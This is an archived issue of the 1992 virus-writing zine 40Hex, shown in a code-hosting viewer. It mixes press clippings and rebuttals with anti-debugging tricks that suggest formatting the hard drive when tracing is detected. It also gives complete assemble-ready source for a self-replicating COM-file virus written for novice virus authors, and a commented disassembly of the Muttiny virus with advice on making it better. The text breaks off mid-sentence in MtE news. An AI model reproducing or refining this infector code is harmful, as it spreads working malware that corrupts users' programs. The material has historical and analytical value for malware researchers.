informis
/
textfiles
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity
textfiles/magazines/40HEX/40hex007

2479 lines
121 KiB
Plaintext
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

40Hex Number 7 Volume 2 Issue 3 File 000
Welcome to 40Hex issue 7! As you may have noticed, we are a little
late in releasing this issue. This is mainly because very little has
gone on for us to write about. Enough of the excuses, on with the show.
We are going to start by giving you a little news update on what we've
been up to.
First of all, Hellraiser is back in New York. He moved back towards
the end of May. Once he gets settled and I give him his computer, I am
sure he will be back writing more virii, and possibly editing 40Hex (not
sure if he wants the task of editing 40Hex). Anyways, to say the
least, its great having him back where he belongs.
Second, we have several new virii out, these will NOT appear on
Virus BBSs. Not even ours. The reason is simple. Anti-Virus people
are not in the dark anymore. They are on Virus BBSs. Since we want our
virii to remain as undetectable as possible, giving them to the general
public is just no longer an option. Nonetheless, the new virii will be
sure to surprise everyone.
Third, LandFill BBS is back online. The number won't be given out
in the mag, I don't want it getting posted on FidoNet. I am silly that
way. The other reason I am not putting the number in it is because I
don't want 100+ lamers reading it, and giving the BBS a call.
Fourth, a new installment of Dark Angel's Virus Writing Guide came
out, get it, it is chunky.
Finally, greetings to three new members, Black Mischief (Hacker), and
iNVALiD MEDiA (Hacker, SysOp Of Unphamiliar Territories, which is now
invite only!), and Stingray(Ex-VIPER).
Table Of Contents
40Hex-7.000....................You've Just Read it
40Hex-7.001....................Virii in the News Part I
40Hex-7.002....................Code Concealment [2]
40Hex-7.003....................An Introduction to Non-overwriting Virii
40Hex-7.004....................Enough Tinys to Sink a Ship
40Hex-7.005....................MtE News Stories
40Hex-7.006....................Virus Spotlite:Dissassembly of Leap Frog
40Hex-7.007....................Spammies Reminder
40Hex-7.008....................Virii in the News Part II
40Hex-7.009....................Debug Script for Pogue Mahone
Greets to: [NuKE], VIPER, All of the Spammies Entries,
All -=PHALCON/SKISM=- Members, Dark Avenger
and anyone else that keeps the virus scene
going strong.
->GHeap!
40Hex Number 7 Volume 2 Issue 3 File 001
WISHFUL THINKING WILL NOT MAKE PUBLICITY-SEEKING VIRUSES GO AWAY
[Hmmmm, a publicity seeking virus. I had a virus like that. It
infected my computer and called every news agency telling them what it
had done.]
By: Paul Melka for Infoworld 4/27
We have all heaved a collective sigh since March 6 came and went
with little computer damage from the Michelangelo Virus. But this sense
of relief obscures what I believe is a very important fact: Michelangelo
was a turning point in the industry, as much as Microsoft's Windows 3.0
was.
Prior to March 6, the trigger date for the virus, many people hours
were spent in organizations large and small trying to prepare for
attack. [Gimme a break. An 'attack'.] And when all said and done,
PCs in the United States fared pretty well. Still everyone's memory of
the Michelangleo virus has begun to fade, and the press - which
thoroughly covered the looming threat - is now focused on how little
damage was done or how much money virus-protection vendors made.
That frustrates me. It misses a subtle yet more important aspect of
viruses: With all the publicity that Michelangelo generated, it was
the forerunner of more powerful and more destructive viruses.
The publicity from Michelangelo threw down the gauntlet to virus
writers to create newer and more destructive viruses. Gone are the days
when letters simply fall to the bottom of your screen or you get
prompted by messages asking for cookies or birthday greetings. The
industry is just beginning to see the emergence of polymorphic viruses
that change their signatures with each infection.(Already a working
version of the self-mutating engine that creates polymorphic viruses is
available on some bulletin boards, along with manuals.) And we are
beginning to see viruses that are specifically designed to foil various
detection applications. Finally there are shrink-wrapped applications
infected with viruses; now there is no "safe" way to purchase software.
The virus software authors also have an advantage over all antivirus
authors in that they can see exactly what they are going against, while
the antivirus developers still have to react to new, unknown viruses.
What types of viruses are next? I don't know, and probably most of
the experts don't know either. But you can certainly speculate on the
various directions that could be taken in the very near future. We have
already seen the evolution from file infecting viruses, boot sector
viruses, and stealth viruses to polymorphic viruses.
The increase in the number and occurences of viruses is real.
Products less then a year old that search for "over 300 viruses" are
almost laughed at today, as security specialists cite documentation of
more than 1,000 different strains of viruses. The National Computer
Security Association estimates that by the end of 1994, there will be
almost 40,000 different virus strains. [A shame they will mostly be
Tiny variants and Jerusalem Hacks]
With that kind of explosion, new protection methods will be needed.
Most of today's scanners would spent more time scanning each file for
viruses than there are working hours in a day. We will see better and
more efficient methods of detecting and preventing viruses that still
allow full use of the computer.
As a security analyst for a large utility company, I try to keep
everyone educated on the dangers of viruses and how best to avoid them.
I also try to keep myself and the company as up to date as possible on
what is happening with viruses. But unless everyone realizes that
viruses are real and takes reasonable action against them, there will
come a time when a new "super virus" that cannot be detected by any of
the existing packages is developed. [Wonder who is gonna write that one?]
It will literally cripple some major corporations, while destroying other
businesses completely.
I don't advise going back to paper and pencil, but I do think that
all PC users have to be vigilant about the threat of viruses, to educate
themselves on the prevention of viruses, and to institute "safe"
practices, including backing up data and using virus-protection
software.
The official patented 40-Hex rebuttal:
Paul Melka seems to be fairly accurate. However, there are some
things I feel are wrong. For example the estimation that there will
be 40,000 virus strains by the end of 1994. Let's just say for example
that it is about 2 years away. That would mean that there would be 53
viruses written a day, or 2.2 viruses written an hour! Jeez, we all
have a shitload of work to do. Do you find this hard to believe? I do.
Of course, the way the virus scene is heading, we are becoming like the
warez scene. All the half-assed fools spreading stuff to other BBSs, not
even seeing what they are, or if they are real. Ahh well, enough of my
complaints.
When Mr. Melka mentioned that there was no "safe" way of purchasing
software, it got me thinking. He is definately correct. Of course, I feel
that it is the responsibility of all software publishers to check their
disks before packaging them.
At first, he seemed to be very neutral, but as the article
progressed, I noticed that even Mr. Melka seemed to fall down the
endless pit of ignorance, and resorted to a scare tactic: a virus that
nothing can detect or kill. He started off saying that he was
speculating, but when he said "...there WILL come a time when a new 'super
virus' that cannot be detected by any of the existing packages is
developed. It will literally cripple some major corporations, while
destroying other businesses completely." he said WILL. It bothers me
that a member of the computer security community would be so close-
minded.
We are not trying to justify the writing of virii, mainly because we
don't have to. It isn't illegal. Making it illegal can't be done; it
takes away our rights. Of course, we want to distinguish that we don't
spread our virii to anyone who doesn't know that they are virii. It is
what they do from there that may be against the law.
If you think it stopped here, here is a letter to the editor of
Infoworld about the above article:
Both Steve Gibson and Peer-to-Peer columnist Paul Melka have hit on
the reason for the current explosion of viruses. The key is in the title
to Mr. Melka's column: "Publicity-Seeking."
Virus writers have the same mentality as chain mail writers: They
like to see how far their viruses spread and they track the spread of
their virus by its nickname. The glory from this spread would be
greatly diminished if viruses were referred to by mundane serial numbers
like 7B386621C rather than captivating nicknames like Michelangelo.
I would like to lead a campaign [The Anti Virus Crusades! Ha! I
love it!] on two fronts:
First: Establish a no-nickname rule. The National Computer
Security Association and other groups should start referring to viruses
with nondescriptive serial numbers rather than glamorous nicknames.
Second: Ask other readers to write representatives and demand
legislation that would impose suitable penalties for malicious computer
crimes. These penalties would include jail terms. [GULP!]
In closing, I believe that this is a perfect opportunity for BIOS
manufacturers to sell BIOS upgrades. Mr. Gibson's observation that the
best defense mechanism for existing viruses lies in the ROM BIOS is
absolutely correct. Seventy-four percent of virus infections could be
eliminated by a simple BIOS change. I am part of a support center for
more than 5,000 PCs; I have yet to detect a virus on those few PCs that
boot only from the hard drive.
Marvin Bullock [Buttock?]
Nashville, TN
Rebuttal part ][
----------------
Ok, this guy I don't really respect. The no-nickname rule. W0W!
What a concept. Because you take the name away from my program, I won't
recognize when some one posts "Oh yeah, The virus 7XZ23576B upon
activation a siren is heard as a ambulance is displayed across the
screen." We'd never pick up on that. I also want to know where he got
the 74% figure. It may be true, but it wasn't documented. I am not
going to argue the anti-virus issue, as I can only speculate.
Basically, it takes a twit to catch a virus. Watch what is put on your
system. If you are a system administrator, don't allow standard write
access to the network drives. If you do, expect a message like "Your
computer is stoned". In reality, YOU should be.
PS:Gibson's article refered to the Dark Avenger's MtE, worthwhile if
you don't know about it, otherwise, it is pointless.
->GHeap
40Hex Number 7 Volume 2 Issue 3 File 002
<20> Code Concealment <20>
<20> -Demogorgon/PHALCON/SKISM <20>
In the previous issue of 40hex, I wrote about how a programmer can
keep his code from being stolen by others. Ways of doing this are
endless, and I will talk about a few more methods in this installment.
Part I : Fun with int3
Part II : Fun with int8
Part III: The Prefetch
Part_I : Fun with int3
Int three is the debugger breakpoint. Every time a debugger breaks
while tracing through a chunk of code, it will call int3. Int3 is
called after every instruction is executed in trace mode, and after
a breakpoint is reached. Note that protected mode debuggers do not
execute int3 in trace mode, but they will break when int3 is called from
your code. You can use this to your advantage. Simply install a new
handler for int3 and it will execute instead of the debugger if a thief
tries to trace through your program.
start: mov ax, 2503h
mov dx, offset int_start
int 21h ; put in the new handler at ds:dx
... ; rest of real code here
int 20h
text db 'Smoke Mah Ass!$'
int_start:
mov ah, 9
mov dx, offset text
int 21h
int 20h
As soon as the first int21 call in this program is made, the code
at int_start will execute if it is being traced in a debugger.
Otherwise, the int call will be ignored and your normal code will
execute. The program can do whatever you want if a debugger is found.
For example, you can format the hard drive or display a message. The
possabilities are endless. By the way, it might be wise to restore the
old interrupt handler before you exit the program, because it is bad
programming practice to leave interrupts pointed into non-allocated
memory.
compatability:(works against all debuggers marked with an X)
-------------------------------------------------------------------------
Debug Turbo Debug Turbo Debug 386 Soft-Ice
X X
-------------------------------------------------------------------------
Part_II: Fun with int8
The next segment will show you how to make a program nearly
impossable to trace. The concept is simple. All you need to do is
place the main body ofyour program into an int8 handler. Int8 is the
timer interrupt, and it is called 18.2 times a second. Debuggers do not
execute int8, so whatever you put there will only go when it is run from
dos. The only drawback to this is a short delay before the main program
is executed. It will probably go unnoticed, in most cases. Here is
some code:
thyroid:mov ax, 3508h
int 21h ; get int8 handler
mov word ptr [int_store], bx ; store it
mov word ptr [int_store+2], es
mov dx, offset prog_start
mov ah, 25h
int 21h ; install new int8 handler
yip: cmp flaag, 1
jne yip ; wait for int8 to be called
; int8 must set the flaag to 1
push bx
pop dx ; restore
push es ; old
pop ds ; int8
int 21h ; handler
int 20h
flaag db 0
int_store dd ?
prog_start:
_main_program proc far
; save all the necessary registers here
; ... your code
mov flaag, 1
; restore the registers
jmp dword ptr [offset int_store] ; chain to real int8 handler
_main_program endp
This code is quite useful in that if some guy tries to trace
through it, he will be stuck forever in the 'yip' loop. The main code
will never be executed. If he tries to get out of the loop by
'executing to' the next instruction, he will end up running the entire
program. No debugger I know of can trace through this, because int8 is
not called from within the debugger.
-------------------------------------------------------------------------
Debug Turbo Debug Turbo Debug 386 Soft-Ice
X X X X
-------------------------------------------------------------------------
Part_III: The Prefetch
My favorite way to confuse debuggers is to mess with the prefetch
queue. All intel processors have a small queue where the next
instructions to be executed are stored. In this way, the CPU does not
have to waste clock cycles by fetching the next instruction, except in
the cases of branching instructions such as jmps and calls. The next
chunk of code makes use of this:
eapple: mov ah, 9
mov word ptr [offset ear_lobe-2], offset sukk_debug
mov dx, offset text
ear_lobe:
int 21h
int 20h
text db 'snee!$'
sukk_debug db 0Ah, 0Dh, 09h, 'blow a goat!', 07h, 0Ah, 0Dh, '$'
All this program does is print out a text string. If it is run
from dos, it will print out 'snee!'. If it is traced through by any
debugger, however, it will print 'blow a goat!', and beep the PC speaker
(07h is ctrl-g). Let me explain how this works.
When any chunk of code is executed by dos, the first few bytes are
sent into the prefetch queue. The actual number of bytes depends on the
model of intel chip, and what year it was made in. My computer is a
386DX-20 (early model), which has a 16 byte prefetch. Be sure to check
your code on several machines to insure compatability.
When the second instruction is reached, it places the offset of
sukk_debug into the next instruction. That is, the next instruction
becomes 'mov dx, offset sukk_debug', rather than 'mov dx, offset text'.
The system memory will be changed, but the prefetch will not, therefore
only a debugger will respond to the new code. Dos will execute it as if
the instruction had never changed, because the instruction will already
have been loaded into the prefetch. This theory can be used, with a
little modification, in order to branch to various subroutines, rather
than just printing out different text. One interesting application of
this is to use the prefetch area to store registers. This way, a person
debugging your code can not simply nop it out, because it will be
referred to later on. In fact, you can even put the stack on the
prefetch. Try to debug through the following fragment, and watch what
happens:
nee: mov ax, 4Ch
mov dx, offset text
mov sp, offset fin_rot
push ax
mov ah, 9
fin_rot:int 21h
pop ax
int 21h
text: db 'Duck is proud of her feet. They can catch things.$'
If you run it through debug, the entire program will be corrupted
as soon as you move the stack pointer. This is because the debug code
uses the stack and expects it to be in a safe location. If you run it
through soft ice, the code will be corrupted as soon as you push ax.
The stack area will be overwritten when int21 is executed, because the
interrupt uses the stack. However, in this example, the instruction
pointer will already be beyond this area, so the program will execute
normally.
Remember not to place the stack past any calls, because then the
prefetch would have to be reloaded after the main program was returned
to, and the instructions that were there before will be gone.
-------------------------------------------------------------------------
Debug Turbo Debug Turbo Debug 386 Soft-Ice
X X X X
-------------------------------------------------------------------------
That about wraps it up for this installment. I will probably have
some new methods for you the next issue, unless I get bored and decide
to drop the whole idea. Keep in mind that the best ideas are your own.
                     
Remember: Unprotected code is public domain!
                     
[] If anyone has any questions or comments about my series, []
[] or some more suggestions for methods that can be added to []
[] it, feel free to drop me a note on Landfill BBS []
40Hex Number 7 Volume 2 Issue 3 File 003
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
An Introduction to Nonoverwriting Virii
By Dark Angel
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
It seems that there are quite a few virus writers out there who just sit at
home and churn out hacks of virii. Yay. Anybody with a disassembler and
some free time can churn out dozens of undetectable (unscannable) variants
of any given virus in an hour. Others have not progressed beyond the
overwriting virus, the type of virus with the most limited potential for
spreading. Still others have never written a virus before and would like
to learn. This article is designed as a simple introduction to all
interested to the world of nonoverwriting virii. All that is assumed is a
working knowledge of 80x86 assembly language.
Only the infection of COM files will be treated in this article, since the
infection routine is, I think, easier to understand and certainly easier to
code than that of EXE files. But do not dispair! EXE infections will be
covered in the next issue of 40Hex.
COM files are described by IBM and Microsoft as "memory image files."
Basically, when a COM file is run, the file is loaded as is into memory.
No translation or interpretation of any sort takes place. The following
steps occur when a COM file is run:
1) A PSP is built.
2) The file is loaded directly above the PSP.
3) The program is run starting from the beginning.
The PSP is a 256 byte header storing such vital data as the command line
parametres used to call the program. The file is located starting at
offset 100h of the segment where the program is loaded. Due to the 64K
limit on segment length, COM files may only be a maximum of 64K-100h bytes
long, or 65280 bytes. If you infect a COM file, make sure the final size
is below this amount or the PSP will get corrupted.
Since the beginning of the file is at offset 100h in the segment (this is
the reason for the org 100h at the start of assembly source for com files),
the initial IP is set to 100h. The key to understanding nonoverwriting COM
virii is to remember that once the program is loaded into memory, it can be
changed at will without affecting the actual file on disk.
The strategy of an overwriting virus is to write the virus to the beginning
of the COM file. This, of course, utterly annihilates the original program.
This, of course, is lame. The nonoverwriting virus changes only the first
few bytes and tacks the virus onto the end of the executable. The new
bytes at the beginning of the file cause the program, once loaded, to jump
to the virus code. After the virus is done executing, the original first
few bytes are rewritten to the area starting at 100h and a jmp instruction
is executed to that location (100h). The infected program is none the
worse for the wear and will run without error.
The trick is to find the correct bytes to add to the beginning of the file.
The most common method is to use a JMP instruction followed by a two byte
displacement. Since these three bytes replace three bytes of the original
program, it is important to save these bytes upon infection. The JMP is
encoded with a byte of 0e9h and the displacement is simply the old file
length minus three.
To replace the old bytes, simply use code similar to the following:
mov di, 100h
mov si, offset saved_bytes
movsw
movsb
And to return control to the original program, use the following:
mov di, 100h
jmp di
or any equivalent statements.
When writing nonoverwriting virii, it is important to understand that the
variables used in the code will not be in their original locations. Since
virii are added to the end of the file, you must take the filesize into
account when calculating offsets. The standard procedure is to use the
short combination of statements:
call oldtrick
oldtrick:
pop bp ; bp = current IP
sub bp, offset oldtrick ; subtract from original offset
After these statements have been executed, bp will hold the difference in
the new offsets of the variables from the original. To account for the
difference, make the following substitutions in the viral code:
lea dx, [bp+offset variable]
instead of
mov dx, offset variable
and
mov dx, word ptr [bp+offset variable]
instead of
mov dx, word ptr variable
Alternatively, if you want to save a few bytes and are willing to suffer
some headaches, leave out the sub bp, offset oldtrick and calculate all
offsets as per the procedure above EXCEPT you must now also subtract offset
oldtrick from each of the offsets.
The following is a short nonoverwriting virus which will hopefully help in
your understanding of the techniques explained above. It's sort of cheesy,
since I designed it to be small and easily understandable. In addition to
being inefficient (in terms of size), it fails to preserve file date/time
and will not infect read-only files. However, it serves its purpose well
as a teaching aid.
--------Tear line----------------------------------------------------------
DumbVirus segment
Assume CS:DumbVirus
Org 100h ; account for PSP
; Dumb Virus - 40Hex demo virus
; Assemble with TASM /m2
Start: db 0e9h ; jmp duh
dw 0
; This is where the virus starts
duh: call next
next: pop bp ; bp holds current location
sub bp, offset next ; calculate net change
; Restore the original first three bytes
lea si, [bp+offset stuff]
mov di, 100h
; Put 100h on the stack for the retn later
; This will allow for the return to the beginning of the file
push di
movsw
movsb
; Change DTA from default (otherwise Findfirst/next will destroy
; commandline parametres
lea dx, [bp+offset dta]
call set_dta
mov ah, 4eh ; Find first
lea dx, [bp+masker] ; search for '*.COM',0
xor cx, cx ; attribute mask - this is unnecessary
tryanother:
int 21h
jc quit ; Quit on error
; Open file for read/write
; Note: This fails on read-only files
mov ax, 3D02h
lea dx, [bp+offset dta+30] ; File name is located in DTA
int 21h
xchg ax, bx
; Read in the first three bytes
mov ah, 3fh
lea dx, [bp+stuff]
mov cx, 3
int 21h
; Check for previous infection
mov ax, word ptr [bp+dta+26] ; ax = filesize
mov cx, word ptr [bp+stuff+1] ; jmp location
add cx, eov - duh + 3 ; convert to filesize
cmp ax, cx ; if same, already infected
jz close ; so quit out of here
; Calculate the offset of the jmp
sub ax, 3 ; ax = filesize - 3
mov word ptr [bp+writebuffer], ax
; Go to the beginning of the file
xor al, al
call f_ptr
; Write the three bytes
mov ah, 40h
mov cx, 3
lea dx, [bp+e9]
int 21h
; Go to the end of the file
mov al, 2
call f_ptr
; And write the rest of the virus
mov ah, 40h
mov cx, eov - duh
lea dx, [bp+duh]
int 21h
close:
mov ah, 3eh
int 21h
; Try infecting another file
mov ah, 4fh ; Find next
jmp short tryanother
; Restore the DTA and return control to the original program
quit: mov dx, 80h ; Restore current DTA to
; the default @ PSP:80h
set_dta:
mov ah, 1ah ; Set disk transfer address
int 21h
retn
f_ptr: mov ah, 42h
xor cx, cx
cwd ; equivalent to: xor dx, dx
int 21h
retn
masker db '*.com',0
; Original three bytes of the infected file
; Currently holds a INT 20h instruction and a null byte
stuff db 0cdh, 20h, 0
e9 db 0e9h
eov equ $ ; End of the virus
; The following variables are stored in the heap space (the area between
; the stack and the code) and are not part of the virus that is written
; to files.
writebuffer dw ? ; Scratch area holding the
; JMP offset
dta db 42 dup (?)
DumbVirus ENDS
END Start
---------------------------------------------------------------------------
Do not worry if not everything makes sense to you just yet. I tried to
keep the example virus as simple as possible, although, admittedly, the
explanations were a bit cryptic. It should all come to you in time.
For a more complete discussion of nonoverwriting virii, pick up a copy of
each of the first three parts of my virus writing guide (the phunky, the
chunky, and the crunchy), where you may find a thorough tutorial on
nonresident virii suitable for any beginning virus programmer.
40Hex Number 7 Volume 2 Issue 3 File 004
I picked up a file touted as "a very small virus" and decided to figure out
what this virus could be. SCAN86-B turned up nothing, so I had to disassemble
it. The name was intriguing -- muttiny. I thought it was a misspelling of
mutiny, but I was terribly wrong. After a minute, I had infected a carrier
file and decrypted the virus. It took but one minute more to disassemble and
maybe half an hour to comment. Argh! It is yet another TINY strain!
I do not know who the author is, but I had a few comments to make. This virus,
quite frankly, sucks. It is a pitiful excuse for programming. Many, many
improvements can be made. I have put comments on how this virus could be made
much mo' bettah. I must tell whoever wrote the virus that TINY is not so tiny
anymore. The original TINYs were 150 bytes long. Now look at it! It is over
twice that size! I suppose this virus is the "MUTated TINY" variant, but I'd
prefer to call it "Messed Up Totally TINY". The author MUST clean up the
virus before distributing it to everyone! One further improvement would be to
make this virus a generic COM infector, which can be done in well under 200
bytes, with all the "functionality" of the current version. Note that this
time I did not rewrite it, a la Tiny F 1.1, but rather merely suggested
improvements. This way, you can easily see the bugs for yourself and learn
from the author's pitfalls.
Dark Angel of PHALCON/SKISM 4/23/92
P.S. This is a byte-to-byte match of the virus I picked up -- even the
labels are in their correct offsets. The file below should match
the source code of the original carrier file exactly. Assemble w/
TASM /m2.
P.P.S. This is the last Tiny strain to be published in 40Hex. For some
Reason, Tiny strains seem to come up again and again over here. I
think it is hightime to put the Tiny series in its grave where it
belongs. Amen. So be it. DA
muttiny segment byte public
assume cs:muttiny, ds:muttiny
org 100h
start: db 0e9h, 5, 0 ; jmp startvir
restorehere: int 20h
idword: dw 990h
; The next line is incredibly pointless. It is a holdover from one
; of the original TINYs, where the id was 7, 8, 9. The author can
; easily save one byte merely by deleting this line.
db 09h
startvir:
call oldtrick ; Standard location-finder
oldtrick: pop si
; The following statement is a bug -- well, not really a bug, just
; extraneous code. The value pushed on the stack in the following
; line is NEVER popped off. This is messy programming, as one byte
; could be saved by removing the statement.
push si
sub si,offset oldtrick
call encrypt ; Decrypt virus
call savepsp ; and save the PSP
; NOTE: The entire savepsp/restorepsp procedures are unnecessary.
; See the procedures at the end for further details.
jmp short findencryptval ; Go to the rest of the virus
; The next line is another example of messy programming -- it is a
; NOP inserted by MASM during assembly. Running this file through
; TASM with the /m2 switch should eliminate such "fix-ups."
nop
; The next line leaves me guessing as to the author's true intent.
db 0
encryptval dw 0h
encrypt:
push bx ; Save handle
; The following two lines of code could be condensed into one:
; lea bx, [si+offset startencrypt]
; Once again, poor programming style, though there's nothing wrong
; with the code.
mov bx,offset startencrypt
add bx,si
; Continueencrypt is implemented as a jmp-type loop. Although it's
; fine to code it this way, it's probably easier to code using the
; loop statement. Upon close inspection, one finds the loop to be
; flawed. Note the single inc bx statement. This essentially makes
; the encryption value a a byte instead of a word, which decreases
; the number of mutations from 65,535 to 255. Once again, this is
; just poor programming, very easily rectified with another inc bx
; statement. Another optimization could be made. Use a
; mov dx, [si+encryptval]
; to load up the encryption value before the loop, and replace the
; three lines following continueencrypt with a simple:
; xor word ptr [bx], dx
continueencrypt:
mov ax,[bx]
xor ax,word ptr [si+encryptval]
mov [bx],ax
inc bx
; The next two lines should be executed BEFORE continueencrypt. As
; it stands right now, they are recalculated every iteration which
; slows down execution somewhat. Furthermore, the value calculated
; is much too large and this increases execution time. Yet another
; improvement would be the merging of the mov/add pair to the much
; cleaner lea cx, [si+offset endvirus].
mov cx,offset veryend ; Calculate end of
add cx,si ; encryption: Note
cmp bx,cx ; the value is 246
jle continueencrypt ; bytes too large.
pop bx
ret
writerest: ; Tack on the virus to the
call encrypt ; end of the file.
mov ah,40h
mov cx,offset endvirus - offset idword
lea dx,[si+offset idword] ; Write starting from the id
int 21h ; word
call encrypt
ret
startencrypt:
; This is where the encrypted area begins. This could be moved to
; where the ret is in procedure writerest, but it is not necessary
; since it won't affect the "scannability" of the virus.
findencryptval:
mov ah,2Ch ; Get random #
int 21h ; CX=hr/min dx=sec
; The following chunk of code puzzles me. I admit it, I am totally
; lost as to its purpose.
cmp word ptr [si+offset encryptval],0
je step_two
cmp word ptr [si+offset encryptval+1],0
je step_two
cmp dh,0Fh
jle foundencryptionvalue
step_two: ; Check to see if any
cmp dl,0 ; part of the encryption
je findencryptval ; value is 0 and if so,
cmp dh,0 ; find another value.
je findencryptval
mov [si+offset encryptval],dx
foundencryptionvalue:
mov bp,[si+offset oldjmp] ; Set up bp for
add bp,103h ; jmp later
lea dx,[si+filemask] ; '*.COM',0
xor cx,cx ; Attributes
mov ah,4Eh ; Find first
tryanother:
int 21h
jc quit_virus ; If none found, exit
mov ax,3D02h ; Open read/write
mov dx,9Eh ; In default DTA
int 21h
mov cx,3
mov bx,ax ; Swap file handle register
lea dx,[si+offset buffer]
mov di,dx
call read ; Read 3 bytes
cmp byte ptr [di],0E9h ; Is it a jmp?
je infect
findnext:
mov ah,4Fh ; If not, find next
jmp short tryanother
infect:
mov ax,4200h ; Move file pointer
mov dx,[di+1] ; to jmp location
mov [si+offset oldjmp],dx ; and save old jmp
xor cx,cx ; location
call int21h
jmp short skipcheckinf
; Once again, we meet an infamous MASM-NOP.
nop
; I don't understand why checkinf is implemented as a procedure as
; it is executed but once. It is a waste of code space to do such
; a thing. The ret and call are both extra, wasting four bytes. An
; additional three bytes were wasted on the JMP skipping checkinf.
; In a program called "Tiny," a wasted seven bytes is rather large
; and should not exist. I have written a virus of half the length
; of this virus which is a generic COM infector. There is just too
; too much waste in this program.
checkinf:
cmp word ptr [di],990h ; Is it already
je findnext ; infected?
; The je statement above presents another problem. It leaves stuff
; on the stack from the call. This is, once again, not a critical
; error but nevertheless it is extremely sloppy behavior.
xor dx,dx
xor cx,cx
mov ax,4202h
call int21h ; Goto end of file
ret
skipcheckinf:
mov cx,2
mov dx,di
call read ; read 2 bytes
call checkinf
; The next check is extraneous. No COM file is larger than 65,535
; bytes before infection simply because it is "illegal." Yet ano-
; ther waste of code. Even if one were to use this useless check,
; it should be implemented, to save space, as or dx, dx.
cmp dx,0 ; Check if too big
jne findnext
cmp ah,0FEh ; Check again if too big
jae findnext
mov [si+storejmp],ax ; Save new jmp
call writerest ; location
mov ax,4200h ; Go to offset
mov dx,1 ; 1 in the file
xor cx,cx
call int21h
mov ah,40h ; and write the new
mov cx,2 ; jmp location
lea dx,[si+storejmp]
call int21h
; I think it is quite obvious that the next line is pointless. It
; is a truly moronic waste of two bytes.
jc closefile
closefile:
mov ah,3Eh ; Close the file
call int21h
quit_virus:
call restorepsp
jmp bp
read:
mov ah,3Fh ; Read file
; I do not understand why all the int 21h calls are done with this
; procedure. It is a waste of space. A normal int 21h call is two
; bytes long while it's three bytes just to call this procedure!
int21h:
int 21h
ret
db 'Made in England'
; Note: The comments for savepsp also apply to restorepsp.
; This code could have easily been changed to a set active DTA INT
; 21h call (AH = 1Ah). It would have saved many, many bytes.
savepsp:
mov di,0
; The following is a bug. It should be
; mov cx, 50h
; since the author decided to use words instead of bytes.
mov cx,100h
push si
; The loop below is dumb. A simple rep movsw statement would have
; sufficed. Instead, countless bytes are wasted on the loop.
storebytes:
mov ax,[di]
mov word ptr [si+pspstore],ax
add si,2
add di,2
loop storebytes
pop si
ret
restorepsp:
mov di,0
mov cx,100h ; Restore 200h bytes
push si
restorebytes:
mov ax,word ptr [si+pspstore]
mov [di],ax
add si,2
add di,2
loop restorebytes
pop si
ret
oldjmp dw 0
filemask db '*.COM',0
idontknow1 db 66h ; Waste of one byte
buffer db 00h, 00h, 01h ; Waste of three bytes
storejmp dw 0 ; Waste of two bytes
; endvirus should be before idontknow1, thereby saving six bytes.
endvirus:
idontknow2 db ?, ?
pspstore db 200 dup (?) ; Should actually be
idontknow3 db 2ch dup (?) ; 100h bytes long.
veryend: ; End of encryption
muttiny ends
end start
40Hex Number 7 Volume 2 Issue 3 File 005
Well, by far the most incredible creation in the virus community that
has surfaced is the MtE. We aren't going to go into details about it, but
we are definately going to give you as much news as we have collected.
In this file:
Article 1: A note from Vesselin Bontchev
Article 2: Steve Gibson tells us how to avoid polymorphic viruses
Article 3: An article from Newsday about McAfee
Article 4: NIST Expert Warns Feds to Find Better Ways to Head Off Viruses
Article 5: Some messages posted on Smartnet about MtE
<<<<<<<<<<
Article 1:
<<<<<<<<<<
====From the Virus-L Digest via NIST=====
Date: 10 Feb 92 20:40:23 +0000
>From: bontchev fbihh.informatik.uni-hamburg.de (Vesselin Bontchev)
Subject: Re: DAV/Sourcer/Rape (PC)
RUTSTEIN HWS.BITNET writes:
> First, has anyone heard about Dark Avenger's latest? I got a report
> secondhand last week that he'd come up with a new gem...I believe the
> report came from a researcher in the UK. Fridrik/Vesselin/others, can
> you confirm/deny this report?
Yeah, I can confirm it... :-( And it is a first-hand information,
since I have it. The long-rumored Mutating Engine is real and is
circulated to several virus exchange BBSes... :-(( The bad news is
that the damn thing really mutates, no kidding! It comes as an OBJ
file, which is supposed to be linked to any virus, with a detailed
do-it-yourself guide, and with a demo virus. The demo virus is in
source, but the source of the Mutating Engine (called MtE) is not
provided. According to the docs, what we have is version 0.90-beta of
the MtE, but version 0.91 is also known to exist... I'm wondering what
will be implemented more in version 1.00... :-(((
The damn thing is really difficult to crack! I mean, it contains no
encryption or anti-debugging and anti-disassembling thechniques, but
it mutates too well... I have observed changing of encryption
algorithms, random bytes padding, usage of different ways to express
one and the same algorithm (yeah, that's right - different ways, not
just modifying the opcodes and inserting do-nothing instructions)...
The currently most mutating virus (V2P6Z) is a toy compared to it...
The worst of all is that just anybody can sit and use it to create a
virus. Well, some experience in assembly language programming is
needed, so the kids from RABID, NukE, and the other punk virus writing
groups that use to write overwriting viruses in high-level languages
will have a little bit of trouble to learn how to use it... But a very
little bit!
Currently there are only two viruses, which use the MtE. The first is
the demo virus in the package (a silly, non-resident, COM file
infector, infects only the files in the current directory), and a
virus, called Pogue, which has been available on some VX BBSes in the
USA. McAfee's SCAN 86-B claims to be able to detect the Pogue virus.
Unfortunately, I haven't had the time to verify this (I recieved the
virus just two days ago). There are reports that in fact not all
possible variants of the virus are detected. SCAN 86-B DOES NOT detect
